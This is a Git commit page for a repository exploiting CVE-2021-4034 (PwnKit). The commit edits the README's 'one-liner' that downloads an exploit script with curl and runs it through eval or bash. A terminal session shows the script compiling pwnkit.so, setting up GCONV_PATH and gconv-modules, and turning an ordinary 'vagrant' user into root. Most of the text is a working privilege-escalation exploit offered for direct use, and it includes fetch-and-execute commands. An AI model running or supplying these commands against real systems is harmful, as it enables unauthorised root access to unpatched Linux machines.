MultiMote/CVE-2021-4034
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

README: Use eval for one-liner commands

Browse Source 
This will execute shell-scripts that are `curl`ed using current shell.

Fixes the pipe (stdin) problems, alternatively using `bash` or `zsh`
you can use process substitution. For example:

$ bash <(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)

Signed-off-by: Harry Kurn <alternate-se7en@pm.me>
This commit is contained in:
Harry Kurn 2022-01-29 20:26:30 +07:00
parent 6bb8d16985
commit ffd4ca2c56
No known key found for this signature in database
GPG Key ID: 7D03DB4D862EA826
1 changed files with 6 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
README.md
View File

@ -64,21 +64,23 @@ vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
# One command root # One-liner commands
You can easily exploit the system using a single script, downloadable and executable with this command: You can easily exploit the system using a single script, downloadable and executable with this command:
`( curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh ; cat - ) | sh` ```sh
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
```
```bash ```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ ( curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh ; cat - ) | sh vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034 cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=. mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:. cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
whoami whoami
root root
``` ```